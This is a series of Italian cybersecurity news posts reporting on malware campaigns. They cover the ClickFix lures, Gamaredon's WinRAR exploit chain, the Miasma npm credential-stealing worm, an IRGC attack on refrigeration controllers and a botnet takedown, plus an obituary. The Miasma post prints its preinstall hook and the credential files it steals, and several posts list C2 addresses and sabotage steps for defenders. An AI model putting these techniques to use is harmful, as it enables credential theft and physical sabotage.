La documentazione interna al framework attestava un aumento progressivo del tasso di successo nell’evasione man mano che i moduli venivano raffinati. Tuttavia i dati di test effettivi analizzati durante l’indagine non supportavano queste affermazioni. “Non disponiamo dei dati per spiegare completamente le discrepanze, ma è probabile che le allucinazioni degli LLM abbiano avuto un ruolo,” ha concluso Pilling. Il risultato è paradossale: un laboratorio AI che produce documentazione ottimistica ma risultati meno convincenti di quanto dichiarato. Questo non riduce la pericolosità della tendenza, ma ne contestualizza i limiti attuali.

Due righe per i difensori

L’aspetto più preoccupante non è che l’AI abbia reso il ransomware invincibile — non è così, almeno per ora. Il problema è la scalabilità del processo di sviluppo: quello che richiedeva settimane di lavoro manuale per testare una singola tecnica di bypass può ora essere automatizzato in ore. I fondamentali della difesa restano invariati: patching, MFA/passkey, protezione degli endpoint. Ma l’accelerazione nel ciclo di sviluppo del malware significa che la finestra temporale tra la comparsa di una nuova tecnica di evasione e la sua adozione operativa da parte dei criminali si sta accorciando drasticamente.

Per i team di sicurezza, questa vicenda sottolinea l’importanza di monitorare attività anomale nelle directory di staging e testing, rilevare l’uso di tool di virtualizzazione come Ludus in ambienti non autorizzati, prestare attenzione all’abuso di strumenti di sviluppo AI-native per la generazione di codice sospetto, e verificare connessioni verso Telegram Bot API da endpoint aziendali come potenziale C2 channel.

(in)sicurezza digitale

2026-06-03 13:05:28

Ciao Carola

Ci sono notizie che arrivano come un pugno nello stomaco.

Quella della morte di Carola Frediani è una di quelle.

Per chi vive e lavora nel mondo della cybersecurity italiana, Carola non era semplicemente una giornalista. Era una presenza costante. Una delle poche persone capaci di osservare il nostro settore con lucidità, spirito critico e una rara capacità di distinguere il rumore dai fatti.

In un’epoca in cui tutto deve essere urgente, allarmistico e spettacolare, Carola aveva scelto una strada diversa: quella della comprensione.

Leggevo con attenzione la sua newsletter, seguivo i suoi articoli, i suoi approfondimenti, il suo modo di raccontare la tecnologia e la sicurezza informatica senza mai cedere alla superficialità. Riusciva a parlare tanto agli addetti ai lavori quanto a chi si avvicinava per la prima volta a questi temi, senza mai banalizzare la complessità.

Ricordo ancora con orgoglio una circostanza che mi aveva particolarmente colpito: quando citò un articolo pubblicato sul mio blog all’interno di uno dei suoi approfondimenti (la newsletter Guerre di rete sul caso SIAE) dedicati a un caso nazionale. Un gesto probabilmente normale per chi fa giornalismo con serietà, ma che per me rappresentò un riconoscimento importante. Non tanto perché proveniva da una figura autorevole del settore, quanto perché arrivava da una persona che aveva costruito la propria credibilità sulla competenza e sull’onestà intellettuale.

Negli anni, Carola è stata una delle voci che hanno contribuito a definire il dibattito italiano sulla sorveglianza digitale, sul cybercrime, sulla sicurezza delle infrastrutture, sui diritti digitali e sulle implicazioni sociali delle tecnologie che utilizziamo ogni giorno.

Ha insegnato a molti di noi che la cybersecurity non riguarda soltanto malware, ransomware e vulnerabilità. Riguarda soprattutto persone. Riguarda libertà, informazione, potere e responsabilità.

Forse è proprio questo che rende oggi così difficile accettare questa notizia.

Perché quando scompare una persona come Carola, non perdiamo soltanto una professionista. Perdiamo una voce autorevole, indipendente e profondamente necessaria.

In un settore che spesso premia chi urla più forte, lei ha dimostrato che si può lasciare un segno anche parlando con calma, documentandosi con rigore e mantenendo sempre uno sguardo umano sulle storie che raccontava.

Oggi la comunità italiana della cybersecurity è un po’ più povera.

E molti di noi si sentono improvvisamente più soli.

Grazie, Carola, per tutto quello che hai scritto, spiegato e raccontato.

Grazie per aver contribuito a costruire una cultura della sicurezza informatica più matura, più consapevole e più umana.

Ci mancherai.

Guerre di Rete - Dell'attacco a SIAE

Facebook tra metaversi, nomi e liste. Guerra ai ransomware. Disinfo statale.

^{Carola Frediani (Guerre di Rete)}

(in)sicurezza digitale

2026-06-03 12:48:12

DriveSurge e il sistema zTDS: migliaia di siti dirottati per distribuire ClickFix e FakeUpdates su Windows e macOS

Si parla di:
Toggle

Un gruppo di cybercriminali tracciato come DriveSurge ha costruito un’infrastruttura di distribuzione malware su scala industriale, dirottando migliaia di siti web legittimi per veicolare campagne ClickFix e FakeUpdates. Dietro l’operazione si cela il sistema di distribuzione del traffico zTDS, che seleziona dinamicamente la trappola più efficace per ciascuna vittima. Il target: qualunque utente Windows o macOS che visiti un sito compromesso.

Chi è DriveSurge e cosa fa zTDS

DriveSurge è un threat actor di tipo malware-as-a-service specializzato nella distribuzione massiva di payload attraverso siti web compromessi. La sua infrastruttura operativa si regge sul Traffic Distribution System zTDS, un sistema sofisticato che analizza i visitatori in tempo reale — sistema operativo, geolocalizzazione, browser, orario di accesso — e li reindirizza verso la trappola ottimale, scelta tra due filoni principali: ClickFix o FakeUpdates.

I ricercatori di SilentPush hanno documentato la campagna, rilevando che DriveSurge gestisce attivamente una rete di traffic broker che monetizzano il traffico dai siti compromessi indirizzandolo verso le campagne di distribuzione. Si tratta di un modello di business criminale consolidato: chi compromette i siti raccoglie il traffico e lo vende; DriveSurge compra quel traffico e lo converte in infezioni.

ClickFix: il trucco psicologico che bypassa l’antivirus

La tecnica ClickFix si basa su un principio di social engineering brutalmente efficace: mostrare all’utente un messaggio di errore fasullo — tipicamente un avviso del browser o di un’applicazione — che invita a “risolvere il problema” incollando ed eseguendo manualmente un comando nella console PowerShell o nel terminale.

Il vantaggio per gli attaccanti è che l’utente diventa il vettore di infezione: non serve exploit, non serve privilege escalation — è la vittima stessa a lanciare il payload con i propri privilegi. Il comando incollato è solitamente una lunga stringa offuscata che scarica ed esegue il malware direttamente dalla memoria, senza scrivere file su disco che possano essere rilevati dall’antivirus.

Nella versione DriveSurge, i lure ClickFix impersonano avvisi di Google Chrome, Microsoft Edge o applicazioni enterprise, con messaggi localizzati nella lingua del visitatore. Il comando finale tipicamente esegue uno script PowerShell che:

• Scarica un payload cifrato da un dominio compromesso o da un CDN legittimo abusato
• Lo decifra in memoria ed esegue il dropper
• Installa un infostealer (Lumma Stealer, Vidar, o varianti custom) o un RAT
• Aggiunge persistenza tramite scheduled task o chiavi di registro

FakeUpdates: il classico che non tramonta

Il secondo filone, FakeUpdates (noto anche come SocGholish), simula un prompt di aggiornamento del browser: una pagina sovrapposta al sito legittimo mostra un finto avviso di aggiornamento critico per Chrome, Firefox o Edge, invitando a scaricare un file .zip o .js che contiene il dropper.

La novità documentata da SilentPush nella campagna DriveSurge è l’estensione a macOS: oltre ai target Windows classici, il sistema zTDS identifica i visitatori Apple e li reindirizza verso una variante della campagna che distribuisce script JavaScript malevoli ottimizzati per l’ecosistema macOS, scaricando payload .dmg o .pkg firmati con certificati sviluppatore ottenuti fraudolentemente.

Infrastruttura e scala dell’operazione

La campagna sfrutta migliaia di siti web WordPress, Joomla e Magento compromessi come stager di primo livello: il codice iniettato nel sito vittima è minimo e difficile da rilevare — spesso poche righe di JavaScript offuscato aggiunte a file tema o plugin — che si limita a interrogare l’infrastruttura zTDS per decidere se mostrare o meno il lure al visitatore.

Questa architettura “many-to-one” offre a DriveSurge una resilienza elevata: anche se decine di siti vengono ripuliti, l’infrastruttura centrale rimane intatta e la campagna continua su altri domini. Il sistema zTDS applica anche un meccanismo di frequency capping: lo stesso indirizzo IP non riceve il lure più di una volta in una finestra temporale definita, riducendo il rischio che ricercatori di sicurezza o sistemi automatizzati di crawling identifichino i siti compromessi.

Implicazioni per i difensori

La campagna DriveSurge richiede un approccio difensivo stratificato, poiché aggira molti controlli tradizionali:

• Blocco delle esecuzioni PowerShell da clipboard: configurare Windows Defender Application Control (WDAC) o AppLocker per limitare l’esecuzione di PowerShell non firmato lanciato interattivamente riduce drasticamente l’efficacia di ClickFix.
• Proxy DNS con blocco dei redirect sospetti: i sistemi zTDS usano catene di redirect multi-hop; una soluzione DNS filtering (Cisco Umbrella, Cloudflare Gateway) che blocchi i redirect a dominio nuovo può interrompere la catena prima che la vittima veda il lure.
• Awareness degli utenti: il vettore ClickFix è efficace perché convincente — investire in training specifico su “nessun sito legittimo ti chiede mai di aprire PowerShell e incollare comandi” ha un ROI alto.
• Monitoraggio dei processi figli di browser: un browser che lancia powershell.exe, cmd.exe o wscript.exe come processo figlio è un segnale forte di ClickFix in esecuzione — aggiungere questa detection nelle regole EDR.
• Hardening dei CMS: verificare regolarmente l’integrità dei file JavaScript dei propri siti WordPress/Joomla/Magento — i propri siti potrebbero essere già usati come stager di DriveSurge a insaputa degli amministratori.

DriveSurge dimostra che ClickFix e FakeUpdates non sono tecniche in declino: l’adozione di un TDS sofisticato come zTDS e l’espansione a macOS segnalano un investimento operativo continuo e una struttura criminale in crescita. La semplicità del vettore — fare in modo che sia l’utente a eseguire il malware — lo rende uno degli attacchi più difficili da bloccare con soli controlli tecnici.

(in)sicurezza digitale

2026-06-03 12:47:05

Gamaredon sfrutta CVE-2025-8088 in WinRAR per distribuire GammaWorm e GammaSteel contro l’Ucraina

Si parla di:
Toggle

Il gruppo russo Gamaredon, legato all’FSB (Federalnaya Sluzhba Bezopasnosti), ha intensificato le sue operazioni contro l’Ucraina sfruttando una vulnerabilità recentemente scoperta in WinRAR per distribuire una sofisticata catena di malware multi-stadio. La campagna, osservata dai ricercatori di Sekoia nel gennaio 2026, utilizza una sequenza di payload denominati GammaPhish, GammaLoad, GammaWorm e GammaSteel — strumenti progettati per persistenza a lungo termine, propagazione laterale e esfiltrazione massiva di dati sensibili.

La vulnerabilità sfruttata: CVE-2025-8088

Il vettore iniziale di compromissione è la CVE-2025-8088, un path traversal flaw in WinRAR che consente l’estrazione di file in percorsi arbitrari del filesystem, incluse directory di avvio e cartelle di sistema. L’exploit si concretizza attraverso archivi RAR appositamente costruiti che, all’apertura, rilasciano silenziosamente un file HTA (HTML Application) denominato GammaPhish. La scelta di WinRAR come vettore non è casuale: il software è praticamente onnipresente negli ambienti governativi e militari ucraini, e Gamaredon ha già in passato sfruttato archivi RAR malevoli come vettore principale delle proprie campagne di spear-phishing.

La catena d’infezione: da GammaPhish a GammaSteel

Una volta eseguito, GammaPhish lancia GammaLoad, un downloader scritto in VBScript con tre funzioni primarie: fingerprinting del sistema host, aggiornamento della configurazione di rete nel registro di Windows tramite dead drop resolver (DDR), e recupero ed esecuzione di payload VBScript aggiuntivi dai server C2 dell’attaccante.

Da GammaLoad si biforcano i principali payload operativi. Il primo è GammaWorm, un worm VBScript progettato per garantire persistenza e propagazione laterale: stabilisce scheduled task come meccanismo di persistenza, poi individua le condivisioni di rete e i drive USB connessi al sistema infetto, ne nasconde le directory legittime e le sostituisce con file LNK (Windows Shortcut) malevoli. Quando una vittima nella rete clicca su uno di questi shortcut, viene scaricato ed eseguito codice arbitrario dal C2. Per risolvere l’indirizzo del server di comando, GammaWorm effettua una GET request tramite curl verso un canale Telegram pubblico hard-coded, sfruttando la legittimità della piattaforma per evadere i controlli di rete. I moduli core del worm vengono nascosti tramite NTFS Alternate Data Streams (ADS), rendendoli invisibili ai tool standard di ispezione del filesystem.

Il secondo payload principale è GammaSteel, un infostealer modulare che cattura file corrispondenti a specifiche estensioni (documenti Office, PDF, archivi, configurazioni) ed esfiltrate verso un bucket Amazon Web Services S3 controllato dagli attaccanti, con un server di fallback alternativo. La flessibilità dell’architettura permette anche la distribuzione di GammaWipe (GamaWiper), un componente distruttivo attivabile selettivamente a seconda degli obiettivi operativi.

Chi è Gamaredon e perché rappresenta una minaccia persistente

Gamaredon (noto anche come Primitive Bear, ACTINIUM, Armageddon, UAC-0010) è un APT attribuito ufficialmente all’FSB russo, specificamente al suo Centro 18 operante dalla Crimea. Attivo dal 2013, il gruppo si concentra quasi esclusivamente su target ucraini — enti governativi, militari, forze dell’ordine, organizzazioni del settore energetico — con campagne quasi ininterrotte che combinano spear-phishing tramite allegati RAR malevoli, malware custom VBScript e PowerShell, e tecniche di living-off-the-land. A differenza di gruppi più furtivi come APT29 o Turla, Gamaredon privilegia volume e persistenza, aggiornando costantemente i propri tool per sfuggire al rilevamento. L’analisi di Sekoia descrive questa architettura come “resiliente, massiva e altamente offuscata”: la capacità di aggiornare le configurazioni on the fly tramite Telegram DDR rende estremamente difficile bloccare le comunicazioni C2.

Campagne parallele: il fronte ucraino sotto attacco multiplo

La campagna Gamaredon si inserisce in un panorama di minacce concorrenti. UAC-0184 continua a colpire obiettivi militari ucraini con lure LNK che distribuiscono PassMark BurnInTest come carrier per payload malevoli. UAC-0247 (ex UAC-0244) ha preso di mira gli operatori di droni FPV, distribuendo dropper HTA via archivi ZIP con backdoor a reverse shell. Separatamente, ricercatori di ExaTrack hanno documentato l’evoluzione di PixyNetLoader, attribuito ad APT28, che sfrutta CVE-2026-21509 su Microsoft Office per rilasciare un implant COVENANT Grunt — varianti rilevate fino al 15 aprile 2026.

Due righe per i difensori

• Patching immediato di WinRAR all’ultima versione disponibile (CVE-2025-8088 è patchata)
• Blocco esecuzione HTA tramite Group Policy Object (GPO) e regole AppLocker
• Restrizione VBScript: disabilitare wscript.exe e cscript.exe dove non necessario
• Monitoraggio NTFS ADS su endpoint critici con Sysmon EventID 15
• Regole SIEM/YARA per curl verso endpoint Telegram in contesti non aziendali
• Blocco in uscita verso bucket AWS S3 sconosciuti e monitoraggio DNS per endpoint Telegram anomali
• Segmentazione USB: policy di blocco o controllo accessi ai supporti rimovibili

Indicatori di compromissione (IoC)

## Tecniche MITRE ATT&CK
T1566.001 – Spearphishing Attachment (archivi RAR malevoli)
T1204.002 – User Execution: Malicious File (GammaPhish HTA)
T1059.005 – Command and Scripting Interpreter: VBScript (GammaLoad/GammaWorm)
T1053.005 – Scheduled Task/Job (GammaWorm persistence)
T1091    – Replication Through Removable Media (GammaWorm USB spread)
T1027    – Obfuscated Files/Information: NTFS Alternate Data Streams
T1102.001 – Web Service: Dead Drop Resolver (Telegram per risoluzione C2)
T1041    – Exfiltration Over C2 Channel (GammaSteel → AWS S3)
T1485    – Data Destruction (GammaWipe, attivato selettivamente)

## Vulnerabilità sfruttata
CVE-2025-8088 – WinRAR path traversal
Soluzione: aggiornare WinRAR all'ultima versione

## Infrastruttura C2
- Canali Telegram pubblici (hard-coded nei sample GammaWorm per DDR)
- Bucket AWS S3 attaccante-controllati (esfiltrazione GammaSteel)
- Server fallback attaccante-controllati

## Fonte primaria della ricerca
Sekoia – FSBS Matryoshka 1.3:
https://blog.sekoia.io/fsbs-matryoshka-1-3-gamaredons-gifts-that-keeps-unpacking-gammaphish-and-gammaworm/

(in)sicurezza digitale

2026-06-02 17:17:28

Miasma colpisce Red Hat: 33 pacchetti npm avvelenati per rubare credenziali cloud e segreti CI/CD

Trentatré pacchetti npm appartenenti al namespace ufficiale @redhat-cloud-services di Red Hat sono stati compromessi in quello che i ricercatori hanno battezzato la campagna Miasma — una variante evoluta del worm Shai-Hulud già visto colpire l’ecosistema npm. L’attacco ha già contaminato 309 repository GitHub e si è dimostrato capace di sottrarre credenziali di sviluppatori, segreti CI/CD, chiavi SSH e token cloud in modo silenzioso e automatizzato.

Contesto: il worm Shai-Hulud e la famiglia Miasma

Shai-Hulud è emerso come uno dei più sofisticati worm per l’ecosistema npm: combina esecuzione automatica al momento dell’installazione, furto di credenziali multi-target ed esfiltrazione crittografata. La campagna Miasma ne eredita interamente il modus operandi, con alcune innovazioni tecniche — in particolare l’abuso dell’infrastruttura di GitHub e dei servizi Anthropic per staging e fallback di esfiltrazione.

Secondo i ricercatori di Socket, che hanno identificato la campagna, l’attore avrebbe compromesso l’account GitHub di un dipendente Red Hat per pubblicare versioni avvelenate di pacchetti legittimi già ampiamente usati nella toolchain interna di Red Hat Cloud Services. Red Hat ha confermato la rimozione dei pacchetti, precisando che l’impatto era limitato agli strumenti di sviluppo interni — ma la contaminazione di 309 repository GitHub suggerisce una diffusione ben più ampia.

Catena di infezione: dall’npm install alla sottrazione silenziosa

Il meccanismo di innesco è elegante nella sua semplicità: il file package.json dei pacchetti compromessi contiene un hook "preinstall": "node index.js", il che significa che il payload malevolo viene eseguito automaticamente prima che l’installazione del pacchetto si completi — prima ancora che lo sviluppatore possa rendersi conto di cosa sta succedendo.

Il loader di primo stadio utilizza una serie di tecniche di offuscamento: array di char-code, trasformazioni ROT-style e blob cifrati con AES-128-GCM. Una volta deoffuscato, il codice decifra e deposita il payload principale in /tmp/p*.js, lo esegue attraverso Bun (runtime JavaScript ad alte prestazioni) — scaricando silenziosamente Bun da GitHub se non è presente sul sistema.

Il malware esegue quindi una raccolta sistematica di credenziali sensibili, includendo:

• Segreti GitHub Actions e token npm (~/.npmrc)
• Credenziali cloud AWS (~/.aws/credentials), GCP, Azure
• Materiale Kubernetes e HashiCorp Vault
• Chiavi SSH private (~/.ssh/id_rsa, ~/.ssh/id_ed25519)
• Credenziali Git (~/.git-credentials, ~/.netrc)
• Token GitHub CLI via gh auth token

I dati sottratti vengono codificati in Base64, cifrati e inviati via HTTPS POST a un endpoint di esfiltrazione. In caso di fallimento, il malware utilizza un meccanismo di fallback basato su commit GitHub, scrivendo file results–.json in un repository controllato dall’attore — una tecnica dead-drop che sfrutta l’infrastruttura legittima di GitHub per eludere il filtraggio del traffico di rete.

Dettagli tecnici distintivi

Tra gli elementi più caratteristici dell’attacco:

• Anti-analisi per sistemi russi: il malware verifica la locale di sistema e modifica il comportamento su macchine con lingua russa, suggerendo un attore non russo o comunque attento a evitare incidenti diplomatici.
• Esfiltrazione verso api.anthropic.com: il traffico di esfiltrazione è mascherato come chiamata alle API Anthropic sulla porta 443, rendendo il traffico praticamente indistinguibile da quello legittimo in ambienti che usano LLM.
• Commit marker univoco: il codice include la stringa IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner e il messaggio di commit Miasma: The Spreading Blight, probabilmente un segno di sfida agli analisti.
• Tentativo di escalation su CI runner: il malware tenta esecuzione privilegiata via sudo su runner CI, espandendo l’accesso sugli ambienti di build.

Indicatori di compromissione (IoC)

# Pacchetti npm compromessi
@redhat-cloud-services/chrome (v2.3.1 e altre versioni)
@redhat-cloud-services/* (oltre 30 pacchetti nel namespace)

# Artefatti su filesystem
/tmp/p*.js                        # payload principale
/tmp/tmp.0987654321.lock          # file di lock del daemon
b.zip, bun, bun.exe               # runtime scaricato

# File di esfiltrazione fallback
results–.json
results/results–.json

# Endpoint di rete
api.anthropic[.]com:443/v1/api    # esfiltrazione mascherata
api.github[.]com/graphql          # fallback dead-drop
github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/  # staging Bun

# Hash SHA-256
88896d478986d453f5da79b311de39d9b4b1bea95c21af1d8ef181b0f4e52fe9
21b6409a7b84446310daca5409ad6112ac60a1e4bef97736e53fff5f63bfdef4

Attribuzione e collegamento a TeamPCP

L’attribuzione rimane incerta. La disponibilità pubblica del tooling Shai-Hulud ha abbassato la soglia d’ingresso per più attori, rendendo difficile l’attribuzione univoca. I ricercatori notano tuttavia sovrapposizioni tattiche con il gruppo TeamPCP, già collegato ad attività su BreachForums, e con la campagna Mini Shai-Hulud documentata separatamente nello stesso periodo. La scelta di Red Hat come target — un vendor open-source con un ecosistema di sviluppatori ampio e credenziali cloud spesso ad alto privilegio — suggerisce un interesse specifico per l’accesso alle pipeline DevOps enterprise.

Cosa devono fare i difensori

Per i team di sicurezza che gestiscono ambienti con dipendenze npm, le azioni prioritarie sono:

• Audit immediato di tutti i pacchetti @redhat-cloud-services/* installati nell’ultimo mese, verificando gli hash contro le versioni ufficiali ripristinate.
• Rotazione preventiva di tutte le credenziali accessibili dagli ambienti di build: npm tokens, chiavi SSH, credenziali AWS/GCP/Azure, segreti GitHub Actions.
• Blocco dei lifecycle hook npm in ambienti CI/CD tramite la configurazione ignore-scripts=true in .npmrc — questa misura da sola avrebbe impedito l’esecuzione automatica del payload.
• Monitoraggio anomalo del traffico verso api.anthropic.com e api.github.com da processi node/bun inattesi.
• Revisione degli hook preinstall in tutti i pacchetti npm di terze parti nel registro privato aziendale.

La campagna Miasma rappresenta un salto qualitativo nell’ingegneria degli attacchi supply chain npm: non si limita a iniettare payload semplici, ma costruisce un’intera infrastruttura di persistenza, esfiltrazione ridondante e anti-analisi che rende difficile sia il rilevamento che la remediation completa.

(in)sicurezza digitale

2026-06-01 19:30:08

Cyber Isnaad Front: l’IRGC sabota un impianto alimentare israeliano con malware GRAT e attacco OT ai compressori CO2

Durante una tregua dichiarata, le macchine di un impianto alimentare israeliano hanno cominciato a scaldarsi. Non era un guasto: era sabotaggio pianificato. Il gruppo Cyber Isnaad Front, una persona operativa dell’IRGC iraniano, aveva già compromesso sia la rete IT che i controllori OT industriali, preparandosi a distruggere compressori e cancellare dati con un singolo comando. Il rapporto Profero di maggio 2026 svela un’operazione che ridefinisce la minaccia ibrida IT/OT nel contesto del conflitto Iran-Israele.

La guerra tra le guerre

Il sistema strategico israeliano ha un nome per la competizione a bassa intensità che prosegue nelle pause tra i conflitti dichiarati: la campagna tra le guerre. Il cyber è diventato uno di questi domini. Dopo gli scambi cinetici tra Israele e Iran a metà 2025 e la pausa instabile che ne è seguita, il ritmo delle operazioni cyber non è calato. È aumentato. Gli operatori iraniani trattano un cessate il fuoco non come una pausa, ma come copertura: l’attenzione cala, i difensori abbassano la guardia, e il costo politico di un’intrusione nella rete è di gran lunga inferiore al costo di un missile.

Il primo segnale non fu un alert di sicurezza. Fu una lettura di temperatura anomala. Gli ingegneri di un impianto di produzione alimentare vennero chiamati perché le celle frigorifere si stavano riscaldando. Si aspettavano quello che trovano di solito: un compressore guasto, una valvola che perde, una protezione scattata. Arrivarono pronti a riparare una macchina. Trovarono invece che qualcuno era già stato dentro quella macchina, e l’aveva modificata di proposito.

Chi è Cyber Isnaad Front: una facciata per l’IRGC

Profero attribuisce questa attività a Cyber Isnaad Front, una persona cyber diretta dallo Stato iraniano emersa nel giugno 2025. Il nome, dall’arabo, si traduce come “Fronte di Supporto Cyber”, e la persona si presenta come un collettivo hacktivist arabo indipendente. Non è indipendente, e non è hacktivismo in nessun senso significativo.

Profero valuta con alta confidenza che Cyber Isnaad Front sia gestita da o insieme ad Aria Sepehr Ayandehsazan (ASA), il successore affiliato all’IRGC di Emennet Pasargad — l’entità sanzionata dal Tesoro americano per operazioni di influenza cyber contro le elezioni presidenziali USA del 2020. ASA gestisce un cast rotante di persone contro obiettivi israeliani: quando un marchio viene esposto, gli operatori lo ritirano e ne lanciano uno nuovo. La macchina non cambia. Il gruppo ha rivendicato appaltatori della difesa legati ai principali programmi d’arma israeliani, circa cinque terabyte da un fornitore nazionale di logistica carburante, e accessi che hanno colpito più di 160 clienti di data center telecom. Le rivendicazioni pubbliche sono spesso esagerate — fanno parte del prodotto. Ma gli accessi reali sono documentati.

GRAT: il malware che indossa il badge di Microsoft

Sul lato Windows dell’impianto, i responder di Profero hanno recuperato una famiglia di malware denominata GRAT (Go Remote Access Toolkit). Non sembra gran che: è un singolo eseguibile che lavora duramente per sembrare noioso. Nei campioni analizzati, si è trovato come SpellChecker.exe, Checker.exe.exe e WindowsUpdater.exe, in esecuzione da directory scrivibili dall’utente come C:\Users\[user]\AppData\Roaming\Microsoft\Spelling\. Persiste attraverso un task schedulato denominato “OneDrive Update” che lo riavvia ogni minuto e ad ogni boot, nascosto e al massimo privilegio.

Dietro quell’esterior banale si nasconde un binario singolo che raggruppa undici sottosistemi separati. GRAT può enumerare un host fino al suo stato antivirus e BitLocker, gestire processi, riscrivere il registro, manipolare i servizi Windows, eseguire un server VNC completo con iniezione sintetica di tasti, esfiltrare file verso cloud storage controllato dall’attaccante. Include un modulo di cifratura per il riscatto chiamato “BigBang”. E può cancellare completamente i dischi: con un singolo comando, GRAT sovrascrive il disco fisico e poi distrugge la partition table. Una variante multi-pass usa syscall dirette per un’operazione di zero, random e 0xFF. Un host che riceve quel comando non torna indietro — non resta nulla da cui recuperare.

Il C2 usa un’architettura dual-channel: i comandi arrivano tramite RabbitMQ incapsulato in TLS sulla porta 7878, e i risultati ritornano attraverso un canale Redis plain-text sulla porta 9988, entrambi diretti allo stesso server 84[.]201[.]6[.]131. Ogni parametro di connessione è cifrato AES-256 all’interno del binario, e la chiave ruota con ogni build — firma di un builder: un campione codificato per target, così che craccare uno non compromette gli altri.

L’attacco OT: sabotaggio calcolato ai sistemi di refrigerazione CO2

L’impianto operava due sistemi di refrigerazione industriale, uno vecchio e uno nuovo, entrambi costruiti su CO2 (R-744) come refrigerante. L’attaccante li ha trattati diversamente, e la differenza è istruttiva.

Sul sistema vecchio, l’attaccante ha modificato solo parametri: setpoint, soglie di protezione, limiti di allarme. Pericoloso, ma recuperabile nella stessa serata. Sul sistema nuovo è andato molto più in profondità: ha cancellato e ripristinato l’intera configurazione programmatica del controller — input digitali e analogici mappati ai sensori di temperatura e pressione, output digitali che avviano i compressori, output analogici per valvole motorizzate e ventole, input di fault. Tutto azzerato. Il recupero non era “reimposta un valore”: era re-ingegnerizzare il controller da zero, tracciando ogni cavo nel quadro elettrico contro lo schema, identificandolo nel programma, e ridefinendolo nel controller. Un lavoro di giorni.

La mossa finale ha trasformato una modifica di configurazione in distruzione fisica. Le valvole motorizzate che gestiscono la pressione del gas sono state impostate in modalità manuale e bloccate permanentemente aperte. L’intento era specifico: mantenere il refrigerante in movimento senza nulla per contenerlo. In un sistema CO2, il liquido che raggiunge i compressori causa danni catastrofici — il liquido non è comprimibile. Un pistone che tenta di comprimere una sacca di liquido si rompe. Il CO2 liquido poi, riscaldandosi, aumenta la pressione in modo esponenziale; le valvole di sicurezza si aprono e sfiatano il refrigerante nell’atmosfera, svuotando l’impianto.

Quando gli ingegneri hanno cercato di riavviare il sistema, tre compressori erano stati distrutti. Il recupero ha richiesto diversi giorni: sostituzione di compressori, valvole, filtri, pressostati e altri componenti, poi test di pressione, test di vuoto e ricarica con R-744. Un compressore sostitutivo era ancora in attesa dal produttore all’estero. Nessun malware aveva girato sui controllori OT — l’attaccante aveva bisogno solo di setpoint, modalità delle valvole, e una comprensione profonda della termodinamica del refrigerante. La distruzione era stata eseguita nel linguaggio nativo dell’impianto.

Indicatori di Compromissione (IoC)

## NETWORK INDICATORS
C2 command channel:  84[.]201[.]6[.]131:7878  (RabbitMQ over TLS)
C2 results channel:  84[.]201[.]6[.]131:9988  (Redis plain TCP)
Infrastruttura associata (confidenza minore):
  146[.]103[.]40[.]190
  193[.]29[.]104[.]5
  45[.]82[.]66[.]163
  84[.]201[.]6[.]128 / 84[.]201[.]6[.]129
  85[.]137[.]56[.]9
  85[.]17[.]55[.]232
## FILE HASHES (SHA-256)
Checker.exe.exe:        6f5f427d96656ae51405e6a5e65253759db45ea0a17da2d70f881404a4ed717b
WindowsUpdater.exe:     0ad128e813314e4562489478e6def8c6dfcc251e006d7f55b24273e93d3bc7fb
SpellChecker.exe:       c4909b2d7a7f813b5a3d729fe64535033e716ae89dc39c402a6cb8ccbccaadca
WindowsUpdater.exe(2):  86194eb5c5abcfe763899aaad7eb64894c71e816dd7d27427c8bac4ab280533d
## PERSISTENCE
Scheduled Task:  "OneDrive Update" (ogni minuto + boot)
File paths:
  C:\Users\[user]\AppData\Roaming\Microsoft\Spelling\SpellChecker.exe
  C:\ProgramData\WindowsUpdater.exe
Registry: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\OneDrive Update
## DETECTION
Microsoft detection name:  DoS:Win32/GigaWiper.A!dha
File size:                 10,416,128 bytes (tutti i campioni analizzati)
Topic-exchange prefix:     topicArgs:1562578125

Due righe per i difensori

Lato IT: Cercare task schedulati che eseguono binari non firmati da %APPDATA% o C:\ProgramData, specialmente task con nomi di prodotti Microsoft. Allertarsi su traffico verso 84[.]201[.]6[.]131 e su connessioni AMQPS o Redis verso le porte 7878 e 9988. Il canale Redis risultati è plain TCP: la cattura passiva di traffico RPush con chiavi task:{task_id} conferma un’infezione attiva. Bloccare gli hash indicati e trattare qualsiasi host con rilevamento DoS:Win32/GigaWiper.A!dha come compromesso: isolarlo e conservare un’immagine del disco prima della remediation. Applicare patch a sistemi VPN, edge e SharePoint esposti su Internet, vettori di accesso iniziale abituali per questo attore.

Lato OT: Segmentare le reti di controllo dall’IT. Rimuovere o mediare strettamente l’accesso remoto ai controller centrali, con credenziali univoche, monitorate e recuperabili attraverso un percorso che l’attaccante non possa bloccare. Allarmarsi su modifiche fuori banda a setpoint e modalità operative — non solo sui valori di processo — perché in questo incidente gli allarmi stessi erano stati resintonizzati. Conservare backup offline con controllo di versione dei programmi controller: il recupero da un controller cancellato deve essere un ripristino, non un esercizio di reverse-engineering. E fare drill: un esercizio tabletop che simuli un’intrusione IT-to-OT end-to-end vale più di qualsiasi singolo prodotto.

Fonte primaria: Profero Threat Intelligence — “The War Between Wars” (maggio 2026). La regola YARA completa e il mapping MITRE ATT&CK per ICS sono disponibili nel report originale su profero.io.

(in)sicurezza digitale

2026-06-01 19:27:49

Operazione Olanda: smantellata la botnet Asocks da 17 milioni di dispositivi — ma il lavoro non è finito

Le autorità olandesi hanno smantellato una delle botnet più grandi mai documentate in Europa: 17 milioni di dispositivi compromessi in 163 paesi, controllati da oltre 200 server ospitati nei Paesi Bassi. Il servizio in questione era Asocks, una piattaforma di proxy residenziali che vendeva l’accesso alle macchine infette — computer, smartphone, router, dispositivi IoT domestici — ad altri criminali informatici per mascherare traffico malevolo come normale navigazione casalinga. Un caso che illumina il modello di business del proxy-as-a-crime del cybercrime contemporaneo.

L’operazione: polizia e NCSC agiscono di Concerto

L’intervento, eseguito tra il 28 e il 29 maggio 2026, è stato condotto dalla Politie olandese in collaborazione con il National Cyber Security Centre (NCSC). Gli agenti hanno fisicamente sequestrato un sottoinsieme dei server di backend da un provider di hosting nei Paesi Bassi che aveva fornito l’infrastruttura alla piattaforma. Il provider ha quindi proceduto a portare offline l’intera rete botnet una volta appurato il suo utilizzo per finalità criminali.

